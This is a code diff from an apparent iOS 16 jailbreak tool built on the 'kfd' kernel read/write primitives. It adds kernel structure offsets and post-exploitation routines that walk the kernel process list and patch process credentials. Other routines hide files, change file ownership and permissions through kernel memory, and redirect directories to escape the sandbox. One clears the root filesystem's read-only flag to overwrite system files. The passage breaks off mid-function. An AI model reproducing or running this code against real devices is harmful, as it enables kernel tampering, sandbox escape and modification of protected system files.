+ off_u_cr_label = 0x78; //__Z15getEntitlementsP5ucred getEntitlements
+ off_u_cr_posix = 0x18; //_kauth_cred_getuid, 0x18
+
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/ucred.h#L100
+ //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3)
+ off_cr_uid = 0; //kauth_cred_getuid, 0x18 - 0x18
+ off_cr_ruid = 0x4;
+ off_cr_svuid = 0x8;
+ off_cr_ngroups = 0xc;
+ off_cr_groups = 0x10;
+ off_cr_rgid = 0x50; //kauth_cred_getrgid, 0x68-0x18
+ off_cr_svgid = 0x54;
+ off_cr_gmuid = 0x58;
+ off_cr_flags = 0x5c;
+
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/filedesc.h#L138
+ //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3)
+ off_fd_ofiles = 0;
+ off_fd_cdir = 0x20;
+
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/file_internal.h#L125
+ //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3)
+ off_fp_glob = 0x10;
+
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/file_internal.h#L179
+ //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3)
+ off_fg_data = 0x38;
+ off_fg_flag = 0x10;
+
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/miscfs/specfs/specdev.h#L77
+ //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3)
+ off_specinfo_si_flags = 0x10;
+
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/vnode_internal.h#L158
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8796.101.5/bsd/sys/vnode_internal.h#L159
+ //xnu-8792.41.9 vs xnu-8792.61.2 same
+ //xnu-8792.61.2 vs xnu-8792.81.2 same
+ //xnu-8792.81.2(~iOS 16.3.x) vs xnu-8796.101.5(iOS 16.4~) different
+ //xnu-8796.101.5 vs xnu-8796.121.2 same
+ //xnu-8796.121.2 vs xnu-8796.141.3 same
+
+ //changed priority with below fields;
+ v_holdcount = 0xB4;
+ //v_name ~ end should be changed offsets, but same offsets when checked 16.2 vs 16.6.1 (_mac_vnode_label_get same)
+ off_vnode_v_ncchildren_tqh_first = 0x30;
+ off_vnode_v_ncchildren_tqh_last = 0x38;
+ off_vnode_v_nclinks_lh_first = 0x40;
+ off_vnode_v_iocount = 0x64; //_vnode_iocount
+ off_vnode_v_usecount = 0x60; //_vnode_usecount
+ off_vnode_v_flag = 0x54; //_vnode_isvroot
+ off_vnode_v_kusecount = 0x5c;
+ off_vnode_v_references = 0x5b;
+ off_vnode_v_lflag = 0x58;
+ off_vnode_v_owner = 0x68;
+ off_vnode_v_cred = 0x98;
+ off_vnode_v_writecount = 0xb0; //_vnode_writecount
+ off_vnode_v_type = 0x70;
+ off_vnode_v_id = 0x74;
+ off_vnode_vu_ubcinfo = 0x78;
+ off_vnode_v_name = 0xb8; //_vnode_getname
+ off_vnode_v_mount = 0xd8;
+ off_vnode_v_data = 0xe0;
+ off_vnode_v_parent = 0xc0; //_vnode_parent
+ off_vnode_v_label = 0xe8; //_mac_vnode_label_get ADD
+
+ //https://github.com/apple-oss-distributions/xnu/blob/main/bsd/sys/mount_internal.h#L108
+ //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3)
+ off_mount_mnt_data = 0x11F;
+ off_mount_mnt_fsowner = 0x9c0;
+ off_mount_mnt_fsgroup = 0x9c4;
+ off_mount_mnt_devvp = 0x980; //_vfs_devvp
+ off_mount_mnt_flag = 0x70;
+
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/osfmk/ipc/ipc_space.h#L123
+ //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3)
+ off_ipc_space_is_table = 0x20;
+
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/ubc_internal.h#L156
+ //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3, only cs_blobs has been applied pac)
+ off_ubc_info_cs_blobs = 0x50; //_ubc_cs_blob_get - 14pro 16.1.2 FFFFFFF0081FF240
+ off_ubc_info_cs_add_gen = 0x2c;
+
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/osfmk/vm/pmap_cs.h#L299
+ //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3)
+ off_pmap_cs_code_directory_ce_ctx = 0x1c8;
+ off_pmap_cs_code_directory_der_entitlements_size = 0x1d8;
+ off_pmap_cs_code_directory_trust = 0x1dc;
+
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/osfmk/ipc/ipc_entry.h#L111
+ //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3)
+ off_ipc_entry_ie_object = 0;
+
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/osfmk/ipc/ipc_object.h#L120
+ //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3)
+ off_ipc_object_io_bits = 0;
+ off_ipc_object_io_references = 0x4;
+
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/osfmk/ipc/ipc_port.h#L167
+ //should be same 16.0-16.6 (proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3)
+ off_ipc_port_ip_kobject = 0x48; //https://github.com/0x7ff/dimentio/blob/7ffffffb4ebfcdbc46ab5e8f1becc0599a05711d/libdimentio.c#L973
+
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/ubc_internal.h#L103
+ //should be same 16.0-16.6, except off_cs_blob_csb_pmap_cs_entry(proof: xnu src; xnu-8792.41.9 vs xnu-8796.141.3)
+ off_cs_blob_csb_cdhash = 0x58;
+ off_cs_blob_csb_flags = 0x20; //_csblob_get_flags
+ off_cs_blob_csb_teamid = 0x88;
+ //https://gist.github.com/LinusHenze/4cd5d7ef057a144cda7234e2c247c056#file-ios_16_launch_constraints-txt-L39
+ off_cs_blob_csb_validation_category = 0xb0; //_csblob_get_validation_category
+
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/namei.h#L243
+ off_namecache_nc_child_tqe_prev = 0x10; //should be same 16.0-16.6
+
+ if (SYSTEM_VERSION_LESS_THAN_OR_EQUAL_TO(@"16.3.1")) {
+ printf("[i] offsets selected for iOS 16.0 - 16.3.1\n");
+ //iPhone 14 Pro 16.0.2, 16.1.2 offsets
+
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/proc_internal.h#L273
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/queue.h#L487
+ //xnu-8792.41.9 vs xnu-8792.61.2 same
+ //xnu-8792.61.2 vs xnu-8792.81.2 same
+ //xnu-8792.81.2(~iOS 16.3.x) vs xnu-8796.101.5(iOS 16.4~) different!
+ //xnu-8796.101.5 vs xnu-8796.121.2 same
+ //xnu-8796.121.2 vs xnu-8796.141.3 same
+ off_p_list_le_prev = 0x8;
+ off_p_proc_ro = 0x18; //_proc_ucred
+ off_p_ppid = 0x20;
+ off_p_original_ppid = 0x24;
+ off_p_pgrpid = 0x28;
+ off_p_uid = 0x2c;
+ off_p_gid = 0x30;
+ off_p_ruid = 0x34;
+ off_p_rgid = 0x38;
+ off_p_svuid = 0x3c;
+ off_p_svgid = 0x40;
+ off_p_sessionid = 0x44;
+ off_p_puniqueid = 0x48;
+ off_p_pid = 0x60;
+ off_p_pfd = 0xf8;
+ off_p_textvp = 0x350;
+ off_p_name = 0x381; //_proc_best_name
+
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/namei.h#L243
+ off_namecache_nc_dvp = 0x40; //needed to be change 16.4~
+ off_namecache_nc_vp = 0x48; //needed to be change 16.4~
+ off_namecache_nc_hashval = 0x50; //needed to be change 16.4~
+ off_namecache_nc_name = 0x58; //needed to be change 16.4~
+
+
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/ubc_internal.h#L103
+ off_cs_blob_csb_pmap_cs_entry = 0xb8; //no more existing since xnu-8796.101.5+(iOS 16.4+); changed to csb_csm_obj
+
+// off_gphysbase = 0xFFFFFFF0077FF710;
+// off_gphysize = 0xFFFFFFF0077FFAD8;
+// off_gvirtbase = 0xFFFFFFF0077FF708;
+// off_ptov__table = 0xFFFFFFF0077FFA18;
+ }
+
+ //Starting with iOS 16.4~
+ else {
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8796.101.5/bsd/sys/proc_internal.h#L259
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8796.101.5/bsd/sys/queue.h#L487
+ //changed with below fields; (~16.3 vs 16.4~+)
+ //struct proc_smr p_hash; -> struct smrq_slink p_hash;
+ off_p_list_le_prev = 0x8;
+ off_p_proc_ro = 0x18; //_proc_ucred
+ off_p_ppid = 0x20;
+ off_p_original_ppid = 0x24;
+ off_p_pgrpid = 0x28;
+ off_p_uid = 0x2c;
+ off_p_gid = 0x30;
+ off_p_ruid = 0x34;
+ off_p_rgid = 0x38;
+ off_p_svuid = 0x3c;
+ off_p_svgid = 0x40;
+ off_p_sessionid = 0x44;
+ off_p_puniqueid = 0x48;
+ off_p_pid = 0x60;
+ off_p_pfd = 0xf8; //_fp_get_pipe_id
+ //changed start
+ off_p_textvp = 0x548;//0x350; //_csproc_get_blob
+ off_p_name = 0x579;//0x381; //_proc_best_name
+
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/namei.h#L243
+ //added two fields (so calulate + 8)
+ //uint32_t nc_vid;
+ //uint32_t nc_counter;
+ off_namecache_nc_dvp = 0x48; //needed to be change 16.4~
+ off_namecache_nc_vp = 0x50; //needed to be change 16.4~
+ off_namecache_nc_hashval = 0x58; //needed to be change 16.4~
+ off_namecache_nc_name = 0x60; //needed to be change 16.4~
+
+ //https://github.com/apple-oss-distributions/xnu/blob/xnu-8796.101.5/bsd/sys/ubc_internal.h#L103
+ off_cs_blob_csb_pmap_cs_entry = 0xffff; //no more existing;; since xnu-8796.101.5+(iOS 16.4+); changed to csb_csm_obj
+ }
+}
diff --git a/RootHelperSample/launchdshim/launchdhook/fun/proc.c b/RootHelperSample/launchdshim/launchdhook/fun/proc.c
new file mode 100644
index 00000000..3d816ff2
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/fun/proc.c
@@ -0,0 +1,103 @@
+//
+// proc.c
+// kfd
+//
+// Created by Seo Hyun-gyu on 2023/07/29.
+//
+
+#include "proc.h"
+#include "offsets.h"
+#include "krw.h"
+#include
+#include
+#include
+
+uint64_t getProc(pid_t pid) {
+ uint64_t proc = get_kernproc();
+
+ while (true) {
+ if(kread32(proc + off_p_pid) == pid) {
+ return proc;
+ }
+ proc = kread64(proc + off_p_list_le_prev);
+ if(!proc) {
+ return -1;
+ }
+ }
+
+ return 0;
+}
+
+uint64_t getProcByName(char* nm) {
+ uint64_t proc = get_kernproc();
+
+ while (true) {
+ uint64_t nameptr = proc + off_p_name;
+ char name[32];
+ do_kread(nameptr, &name, 32);
+// printf("[i] pid: %d, process name: %s\n", kread32(proc + off_p_pid), name);
+ if(strcmp(name, nm) == 0) {
+ return proc;
+ }
+ proc = kread64(proc + off_p_list_le_prev);
+ if(!proc) {
+ return -1;
+ }
+ }
+
+ return 0;
+}
+
+int getPidByName(char* nm) {
+ uint64_t proc = getProcByName(nm);
+ if(proc == -1) return -1;
+ return kread32(proc + off_p_pid);
+}
+
+int funProc(uint64_t proc) {
+ int p_ppid = kread32(proc + off_p_ppid);
+ printf("[i] self proc->p_ppid: %d\n", p_ppid);
+ printf("[i] Patching proc->p_ppid %d -> 1 (for testing kwrite32, getppid)\n", p_ppid);
+ kwrite32(proc + off_p_ppid, 0x1);
+ printf("[+] Patched getppid(): %u\n", getppid());
+ kwrite32(proc + off_p_ppid, p_ppid);
+ printf("[+] Restored getppid(): %u\n", getppid());
+
+ int p_original_ppid = kread32(proc + off_p_original_ppid);
+ printf("[i] self proc->p_original_ppid: %d\n", p_original_ppid);
+
+ int p_pgrpid = kread32(proc + off_p_pgrpid);
+ printf("[i] self proc->p_pgrpid: %d\n", p_pgrpid);
+
+ int p_uid = kread32(proc + off_p_uid);
+ printf("[i] self proc->p_uid: %d\n", p_uid);
+
+ int p_gid = kread32(proc + off_p_gid);
+ printf("[i] self proc->p_gid: %d\n", p_gid);
+
+ int p_ruid = kread32(proc + off_p_ruid);
+ printf("[i] self proc->p_ruid: %d\n", p_ruid);
+
+ int p_rgid = kread32(proc + off_p_rgid);
+ printf("[i] self proc->p_rgid: %d\n", p_rgid);
+
+ int p_svuid = kread32(proc + off_p_svuid);
+ printf("[i] self proc->p_svuid: %d\n", p_svuid);
+
+ int p_svgid = kread32(proc + off_p_svgid);
+ printf("[i] self proc->p_svgid: %d\n", p_svgid);
+
+ int p_sessionid = kread32(proc + off_p_sessionid);
+ printf("[i] self proc->p_sessionid: %d\n", p_sessionid);
+
+ uint64_t p_puniqueid = kread64(proc + off_p_puniqueid);
+ printf("[i] self proc->p_puniqueid: 0x%llx\n", p_puniqueid);
+
+ printf("[i] Patching proc->p_puniqueid 0x%llx -> 0x4142434445464748 (for testing kwrite64)\n", p_puniqueid);
+ kwrite64(proc + off_p_puniqueid, 0x4142434445464748);
+ printf("[+] Patched self proc->p_puniqueid: 0x%llx\n", kread64(proc + off_p_puniqueid));
+ kwrite64(proc + off_p_puniqueid, p_puniqueid);
+ printf("[+] Restored self proc->p_puniqueid: 0x%llx\n", kread64(proc + off_p_puniqueid));
+
+ return 0;
+}
diff --git a/RootHelperSample/launchdshim/launchdhook/fun/proc.h b/RootHelperSample/launchdshim/launchdhook/fun/proc.h
new file mode 100644
index 00000000..0be6af1d
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/fun/proc.h
@@ -0,0 +1,14 @@
+//
+// proc.h
+// kfd
+//
+// Created by Seo Hyun-gyu on 2023/07/29.
+//
+
+#include
+
+uint64_t getProc(pid_t pid);
+uint64_t getProcByName(char* nm);
+int getPidByName(char* nm);
+
+int funProc(uint64_t proc);
diff --git a/RootHelperSample/launchdshim/launchdhook/fun/vnode.h b/RootHelperSample/launchdshim/launchdhook/fun/vnode.h
new file mode 100644
index 00000000..8d8c129d
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/fun/vnode.h
@@ -0,0 +1,135 @@
+//
+// vnode.h
+// kfd
+//
+// Created by Seo Hyun-gyu on 2023/07/29.
+//
+
+#include
+
+//https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/mount.h#L293
+#define MNT_RDONLY 0x00000001 /* read only filesystem */
+#define MNT_NOSUID 0x00000008 /* don't honor setuid bits on fs */
+#define MNT_ROOTFS 0x00004000 /* identifies the root filesystem */
+#define MNT_UPDATE 0x00010000 /* not a real mount, just an update */
+//https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/vnode_internal.h#L297
+#define VISSHADOW 0x008000 /* vnode is a shadow file */
+
+//https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/fcntl.h#L112
+//https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.41.9/bsd/sys/fcntl.h#L231
+#define FREAD 0x00000001
+#define FWRITE 0x00000002
+
+uint64_t getVnodeAtPath(char* filename); /* return vnode of path, if open(filename, RD_ONLY) returned -1, it fails */
+uint64_t getVnodeAtPathByChdir(char *path); /* return vnode of path, but only directories work. NOT files. */
+uint64_t findRootVnode(void); /* return root vnode as is */
+uint64_t getVnodeVar(void); /* return /var vnode as is */
+uint64_t getVnodeVarMobile(void); /* return /var/mobile vnode as is */
+uint64_t getVnodePreferences(void); /* return /var/mobile/Library/Preferences vnode as is */
+uint64_t getVnodeLibrary(void); /* return /var/mobile/Library vnode as is */
+uint64_t getVnodeSystemGroup(void); /* return /var/containers/Shared/SystemGroup vnode as is */
+
+/*
+Description:
+ Hide file or directory.
+ Return vnode value for restore.
+*/
+uint64_t funVnodeHide(char* filename);
+
+/*
+Description:
+ Reveal file or directory.
+ Required vnode value to restore.
+*/
+uint64_t funVnodeReveal(uint64_t vnode);
+
+/*
+Description:
+ Perform chown to file or directory.
+*/
+uint64_t funVnodeChown(char* filename, uid_t uid, gid_t gid);
+
+/*
+Description:
+ Perform chmod to file or directory.
+*/
+uint64_t funVnodeChmod(char* filename, mode_t mode);
+
+/*
+Description:
+ Redirect directory to another directory.
+ Only work when mount points of directories are same.
+ Can be escaped out of sandbox.
+ If succeeds, return value to_vnode->v_data (for unredirect)
+*/
+uint64_t funVnodeRedirectFolder(char* to, char* from);
+
+/*
+Description:
+ Perform overwrite file data to file.
+ Only work when file size is 'lower or same' than original file size.
+ Overwriting executable file also works, but executing will not work anymore. just freeze or crash.
+*/
+uint64_t funVnodeOverwriteFile(char* to, char* from);
+
+/*
+Description:
+ Iterating sub directory or file at dirname.
+*/
+uint64_t funVnodeIterateByPath(char* dirname);
+
+/*
+Description:
+ Iterating sub directory or file at vnode.
+*/
+uint64_t funVnodeIterateByVnode(uint64_t vnode);
+
+/*
+Description:
+ Redirect directory to another directory using vnode.
+ Only work when mount points of directories are same.
+ Can be escaped out of sandbox.
+ If succeeds, return value to_vnode->v_data (for unredirect)
+*/
+uint64_t funVnodeRedirectFolderFromVnode(char* to, uint64_t from_vnode);
+
+/*
+Description:
+ UnRedirect directory to another directory.
+ It needs orig_to_v_data, ususally you can get return value of funVnodeRedirectFolder / funVnodeRedirectFolderByVnode
+*/
+uint64_t funVnodeUnRedirectFolder(char* to, uint64_t orig_to_v_data);
+
+/*
+Description:
+ Return vnode of subdirectory or sub file in vnode.
+ childname can be what you want to find subdirectory or file name.
+ vnode should be vnode of root directory.
+*/
+uint64_t findChildVnodeByVnode(uint64_t vnode, char* childname);
+
+/*
+Description:
+ Perform overwrite file data to file.
+ You can overwrite file data without file size limit! but only works on /var files.
+ Overwriting executable file also works, but executing will also work since using write() instead of mmap().
+ https://openradar.appspot.com/FB8914231
+*/
+uint64_t funVnodeOverwriteFileUnlimitSize(char* to, char* from);
+
+/*
+Description:
+ Redirect file to another file.
+ If succeeds, return 0 and it stored orig_to_vnode and orig_nc_vp (for unredirect)
+*/
+uint64_t funVnodeRedirectFile(char* to, char* from, uint64_t* orig_to_vnode, uint64_t* orig_nc_vp);
+
+/*
+Description:
+ UnRedirect file to another file.
+ It needs orig_to_vnode and orig_nc_vp, ususally you can get value from funVnodeRedirectFile
+*/
+uint64_t funVnodeUnRedirectFile(uint64_t orig_to_vnode, uint64_t orig_nc_vp);
+
+uint64_t SwitchSysBin160(char* to, char* from, uint64_t* orig_to_vnode, uint64_t* orig_nc_vp); // overwrite v_name to swap files
+int SwitchSysBin(uint64_t vnode, char* what, char* with); // overwrite v_name to swap files
diff --git a/RootHelperSample/launchdshim/launchdhook/fun/vnode.m b/RootHelperSample/launchdshim/launchdhook/fun/vnode.m
new file mode 100644
index 00000000..94443143
--- /dev/null
+++ b/RootHelperSample/launchdshim/launchdhook/fun/vnode.m
@@ -0,0 +1,642 @@
+//
+// vnode.c
+// kfd
+//
+// Created by Seo Hyun-gyu on 2023/07/29.
+//
+
+#include "vnode.h"
+#include "krw.h"
+#include "proc.h"
+#include "offsets.h"
+#include
+#include
+#include
+#include
+#include
+#include
+uint64_t getVnodeAtPath(char* filename) {
+ int file_index = open(filename, O_RDONLY);
+ if (file_index == -1) return -1;
+
+ uint64_t proc = getProc(getpid());
+
+ uint64_t filedesc_pac = kread64(proc + off_p_pfd);
+ uint64_t filedesc = unsign_kptr(filedesc_pac);
+ uint64_t openedfile = kread64(filedesc + (8 * file_index));
+ uint64_t fileglob_pac = kread64(openedfile + off_fp_glob);
+ uint64_t fileglob = unsign_kptr(fileglob_pac);
+ uint64_t vnode_pac = kread64(fileglob + off_fg_data);
+ uint64_t vnode = unsign_kptr(vnode_pac);
+
+ close(file_index);
+
+ return vnode;
+}
+
+uint64_t funVnodeHide(char* filename) {
+ uint64_t vnode = getVnodeAtPath(filename);
+ if(vnode == -1) {
+ printf("[-] Unable to get vnode, path: %s", filename);
+ return -1;
+ }
+
+ //vnode_ref, vnode_get
+ uint32_t usecount = kread32(vnode + off_vnode_v_usecount);
+ uint32_t iocount = kread32(vnode + off_vnode_v_iocount);
+ printf("[i] vnode->usecount: %d, vnode->iocount: %d\n", usecount, iocount);
+ kwrite32(vnode + off_vnode_v_usecount, usecount + 1);
+ kwrite32(vnode + off_vnode_v_iocount, iocount + 1);
+
+ //hide file
+ uint32_t v_flags = kread32(vnode + off_vnode_v_flag);
+ printf("[i] vnode->v_flags: 0x%x\n", v_flags);
+ kwrite32(vnode + off_vnode_v_flag, (v_flags | VISSHADOW));
+
+ //exist test (should not be exist
+ printf("[i] %s access ret: %d\n", filename, access(filename, F_OK));
+
+ //restore vnode iocount, usecount
+ usecount = kread32(vnode + off_vnode_v_usecount);
+ iocount = kread32(vnode + off_vnode_v_iocount);
+ if(usecount > 0)
+ kwrite32(vnode + off_vnode_v_usecount, usecount - 1);
+ if(iocount > 0)
+ kwrite32(vnode + off_vnode_v_iocount, iocount - 1);
+
+ return vnode;
+}
+
+uint64_t funVnodeReveal(uint64_t vnode) {
+ //vnode_ref, vnode_get
+ uint32_t usecount = kread32(vnode + off_vnode_v_usecount);
+ uint32_t iocount = kread32(vnode + off_vnode_v_iocount);
+ printf("[i] vnode->usecount: %d, vnode->iocount: %d\n", usecount, iocount);
+ kwrite32(vnode + off_vnode_v_usecount, usecount + 1);
+ kwrite32(vnode + off_vnode_v_iocount, iocount + 1);
+
+ //show file
+ uint32_t v_flags = kread32(vnode + off_vnode_v_flag);
+ kwrite32(vnode + off_vnode_v_flag, (v_flags &= ~VISSHADOW));
+
+ //restore vnode iocount, usecount
+ usecount = kread32(vnode + off_vnode_v_usecount);
+ iocount = kread32(vnode + off_vnode_v_iocount);
+ if(usecount > 0)
+ kwrite32(vnode + off_vnode_v_usecount, usecount - 1);
+ if(iocount > 0)
+ kwrite32(vnode + off_vnode_v_iocount, iocount - 1);
+
+ return 0;
+}
+
+uint64_t funVnodeChown(char* filename, uid_t uid, gid_t gid) {
+
+ uint64_t vnode = getVnodeAtPath(filename);
+ if(vnode == -1) {
+ printf("[-] Unable to get vnode, path: %s", filename);
+ return -1;
+ }
+
+ uint64_t v_data = kread64(vnode + off_vnode_v_data);
+ uint32_t v_uid = kread32(v_data + 0x80);
+ uint32_t v_gid = kread32(v_data + 0x84);
+
+ //vnode->v_data->uid
+ printf("[i] Patching %s vnode->v_uid %d -> %d\n", filename, v_uid, uid);
+ kwrite32(v_data+0x80, uid);
+ //vnode->v_data->gid
+ printf("[i] Patching %s vnode->v_gid %d -> %d\n", filename, v_gid, gid);
+ kwrite32(v_data+0x84, gid);
+
+ struct stat file_stat;
+ if(stat(filename, &file_stat) == 0) {
+ printf("[+] %s UID: %d\n", filename, file_stat.st_uid);
+ printf("[+] %s GID: %d\n", filename, file_stat.st_gid);
+ }
+
+ return 0;
+}
+
+uint64_t funVnodeChmod(char* filename, mode_t mode) {
+ uint64_t vnode = getVnodeAtPath(filename);
+ if(vnode == -1) {
+ printf("[-] Unable to get vnode, path: %s", filename);
+ return -1;
+ }
+
+ uint64_t v_data = kread64(vnode + off_vnode_v_data);
+ uint32_t v_mode = kread32(v_data + 0x88);
+
+ printf("[i] Patching %s vnode->v_mode %o -> %o\n", filename, v_mode, mode);
+ kwrite32(v_data+0x88, mode);
+
+ struct stat file_stat;
+ if(stat(filename, &file_stat) == 0) {
+ printf("[+] %s mode: %o\n", filename, file_stat.st_mode);
+ }
+
+ return 0;
+}
+
+uint64_t findRootVnode(void) {
+ uint64_t launchd_proc = getProc(1);
+
+ uint64_t textvp_pac = kread64(launchd_proc + off_p_textvp);
+ uint64_t textvp = unsign_kptr(textvp_pac);
+ printf("[i] launchd proc->textvp: 0x%llx\n", textvp);
+
+ uint64_t textvp_nameptr = kread64(textvp + off_vnode_v_name);
+ uint64_t textvp_name = kread64(textvp_nameptr);
+ uint64_t devvp = kread64(unsign_kptr(kread64(textvp + off_vnode_v_mount)) + off_mount_mnt_devvp);
+ uint64_t nameptr = kread64(devvp + off_vnode_v_name);
+ uint64_t name = kread64(nameptr);
+ char* devName = &name;
+ printf("[i] launchd proc->textvp->v_name: %s, v_mount->mnt_devvp->v_name: %s\n", &textvp_name, devName);
+
+ uint64_t sbin_vnode = unsign_kptr(kread64(textvp + off_vnode_v_parent));
+ textvp_nameptr = kread64(sbin_vnode + off_vnode_v_name);
+ textvp_name = kread64(textvp_nameptr);
+ devvp = kread64(unsign_kptr(kread64(textvp + off_vnode_v_mount)) + off_mount_mnt_devvp);
+ nameptr = kread64(devvp + off_vnode_v_name);
+ name = kread64(nameptr);
+ devName = &name;
+ printf("[i] launchd proc->textvp->v_parent->v_name: %s, v_mount->mnt_devvp->v_name:%s\n", &textvp_name, devName);
+
+ uint64_t root_vnode = unsign_kptr(kread64(sbin_vnode + off_vnode_v_parent));
+ textvp_nameptr = kread64(root_vnode + off_vnode_v_name);
+ textvp_name = kread64(textvp_nameptr);
+ devvp = kread64(unsign_kptr(kread64(root_vnode + off_vnode_v_mount)) + off_mount_mnt_devvp);
+ nameptr = kread64(devvp + off_vnode_v_name);
+ name = kread64(nameptr);
+ devName = &name;
+ printf("[i] launchd proc->textvp->v_parent->v_parent->v_name: %s, v_mount->mnt_devvp->v_name:%s\n", &textvp_name, devName);
+ printf("[+] rootvnode: 0x%llx\n", root_vnode);
+
+ return root_vnode;
+}
+
+uint64_t funVnodeRedirectFolder(char* to, char* from) {
+ uint64_t to_vnode = getVnodeAtPathByChdir(to);
+ if(to_vnode == -1) {
+ printf("[-] Unable to get vnode, path: %s\n", to);
+ return -1;
+ }
+
+ uint8_t to_v_references = kread8(to_vnode + off_vnode_v_references);
+ uint32_t to_usecount = kread32(to_vnode + off_vnode_v_usecount);
+ uint32_t to_v_kusecount = kread32(to_vnode + off_vnode_v_kusecount);
+ uint64_t orig_to_v_data = kread64(to_vnode + off_vnode_v_data);
+
+ uint64_t from_vnode = getVnodeAtPathByChdir(from);
+ if(from_vnode == -1) {
+ printf("[-] Unable to get vnode, path: %s\n", from);
+ return -1;
+ }
+
+ //If mount point is different, return -1
+ uint64_t to_devvp = kread64(unsign_kptr(kread64(to_vnode + off_vnode_v_mount)) + off_mount_mnt_devvp);
+ uint64_t from_devvp = kread64(unsign_kptr(kread64(from_vnode + off_vnode_v_mount)) + off_mount_mnt_devvp);
+ if(to_devvp != from_devvp) {
+ printf("[-] mount points of folders are different!\n");
+ return -1;
+ }
+
+ uint64_t from_v_data = kread64(from_vnode + off_vnode_v_data);
+
+ kwrite32(to_vnode + off_vnode_v_usecount, to_usecount + 1);
+ kwrite32(to_vnode + off_vnode_v_kusecount, to_v_kusecount + 1);
+ kwrite8(to_vnode + off_vnode_v_references, to_v_references + 1);
+ kwrite64(to_vnode + off_vnode_v_data, from_v_data);
+
+ return orig_to_v_data;
+}
+
+uint64_t funVnodeOverwriteFile(char* to, char* from) {
+
+ int to_file_index = open(to, O_RDONLY);
+ if (to_file_index == -1) return -1;
+ off_t to_file_size = lseek(to_file_index, 0, SEEK_END);
+
+ int from_file_index = open(from, O_RDONLY);
+ if (from_file_index == -1) return -1;
+ off_t from_file_size = lseek(from_file_index, 0, SEEK_END);
+
+ if(to_file_size < from_file_size) {
+ close(from_file_index);
+ close(to_file_index);
+ printf("[-] File is too big to overwrite!");
+ return -1;
+ }
+
+ uint64_t proc = getProc(getpid());
+
+ //get vnode
+ uint64_t filedesc_pac = kread64(proc + off_p_pfd);
+ uint64_t filedesc = unsign_kptr(filedesc_pac);
+ uint64_t openedfile = kread64(filedesc + (8 * to_file_index));
+ uint64_t fileglob_pac = kread64(openedfile + off_fp_glob);
+ uint64_t fileglob = unsign_kptr(fileglob_pac);
+ uint64_t vnode_pac = kread64(fileglob + off_fg_data);
+ uint64_t to_vnode = unsign_kptr(vnode_pac);
+ printf("[i] %s to_vnode: 0x%llx\n", to, to_vnode);
+
+ uint64_t rootvnode_mount_pac = kread64(findRootVnode() + off_vnode_v_mount);
+ uint64_t rootvnode_mount = unsign_kptr(rootvnode_mount_pac);
+ uint32_t rootvnode_mnt_flag = kread32(rootvnode_mount + off_mount_mnt_flag);
+
+ kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag & ~MNT_RDONLY);
+ kwrite32(fileglob + off_fg_flag, FREAD | FWRITE);
+
+ uint32_t to_vnode_v_writecount = kread32(to_vnode + off_vnode_v_writecount);
+ printf("[i] %s Increasing to_vnode->v_writecount: %d\n", to, to_vnode_v_writecount);
+ if(to_vnode_v_writecount <= 0) {
+ kwrite32(to_vnode + off_vnode_v_writecount, to_vnode_v_writecount + 1);
+ printf("[+] %s Increased to_vnode->v_writecount: %d\n", to, kread32(to_vnode + off_vnode_v_writecount));
+ }
+
+
+ char* from_mapped = mmap(NULL, from_file_size, PROT_READ, MAP_PRIVATE, from_file_index, 0);
+ if (from_mapped == MAP_FAILED) {
+ perror("[-] Failed mmap (from_mapped)");
+ kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag);
+ close(from_file_index);
+ close(to_file_index);
